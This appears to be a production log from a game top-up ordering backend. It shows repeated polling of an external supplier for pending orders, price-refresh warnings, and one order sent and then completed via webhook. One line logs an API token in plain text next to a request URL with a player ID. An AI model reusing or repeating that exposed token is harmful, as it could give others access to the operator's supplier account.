[2026-03-24 02:42:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01"} 
[2026-03-24 02:42:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:42:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"9uB9miJlIx9hb2QnpZmIPKemfvVd43md","execution_time":"2026-03-24 02:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:44:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01"} 
[2026-03-24 02:44:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:44:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:44:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zCykHWPBbDsm5epyFbfMIUrNU9W64B6v","execution_time":"2026-03-24 02:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:45:04] production.INFO: async() رجع: true  
[2026-03-24 02:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:45:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:45:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02"} 
[2026-03-24 02:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"t83izExbria9XGz2AaoZBnWSEHt7GhOe","execution_time":"2026-03-24 02:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:48:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02"} 
[2026-03-24 02:48:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:48:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:48:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:48:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:48:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:48:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:48:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:48:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:48:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"XDjGJeHiV3KXUx4zkae4PooR9svamI3C","execution_time":"2026-03-24 02:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:49:03] production.INFO: Constructing job for order: 178518  
[2026-03-24 02:49:06] production.INFO: Handling job for order: 178518  
[2026-03-24 02:49:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 02:49:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 02:49:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/596/params?qty=20000&uuid=b675476f-2ffe-412e-bcbe-07551563bb39&Player_ID=101941555  
[2026-03-24 02:49:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/596/params?qty=20000&uuid=b675476f-2ffe-412e-bcbe-07551563bb39&Player_ID=101941555","has_body":false} 
[2026-03-24 02:49:06] production.INFO: Operation sent successfully {"operation_id":163450,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-OlKD-1774309746","amount":6.9186720000000008212737157009541988372802734375,"status":"processing","product":"Lama Amount","game":"Lama","notes":[],"created_at":"2026-03-24 02:49:06"}},"processed_data":{"order_number":"ORD-OlKD-1774309746","amount":6.9186720000000008212737157009541988372802734375,"status":"processing","product":"Lama Amount","game":"Lama"}} 
[2026-03-24 02:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03"} 
[2026-03-24 02:50:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","total_operations":5,"sites_count":1} 
[2026-03-24 02:50:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-OlKD-1774309746"]} 
[2026-03-24 02:50:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:50:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 02:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450} 
[2026-03-24 02:50:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 02:50:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450,"processed":0,"errors":0} 
[2026-03-24 02:50:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dl9ctY6R81oVtH9G9HIUMqLRayTnbNBr","execution_time":"2026-03-24 02:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450} 
[2026-03-24 02:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 02:50:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 02:50:06] production.INFO: async() رجع: true  
[2026-03-24 02:50:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:50:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:50:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:50:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:50:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:50:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:50:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:50:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01"} 
[2026-03-24 02:52:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","total_operations":5,"sites_count":1} 
[2026-03-24 02:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-OlKD-1774309746"]} 
[2026-03-24 02:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 02:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450} 
[2026-03-24 02:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 02:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450,"processed":0,"errors":0} 
[2026-03-24 02:52:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"acYJ0NHdEGfhpHef3keEpXAHZ91qTTmZ","execution_time":"2026-03-24 02:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OlKD-1774309746","operation_id":163450} 
[2026-03-24 02:52:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-OlKD-1774309746","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 02:52:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-OlKD-1774309746","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 02:52:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 02:52:03] production.INFO: SendAcceptReject: Notification queued {"user_id":891,"notification_type":"order_approved","reference_id":178518} 
[2026-03-24 02:52:03] production.INFO: Order updated successfully. Order ID: 178518, Status: completed  
[2026-03-24 02:52:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-OlKD-1774309746","status":"completed","codes_count":0} 
[2026-03-24 02:52:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 891  
[2026-03-24 02:54:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01"} 
[2026-03-24 02:54:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:54:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:54:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:54:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
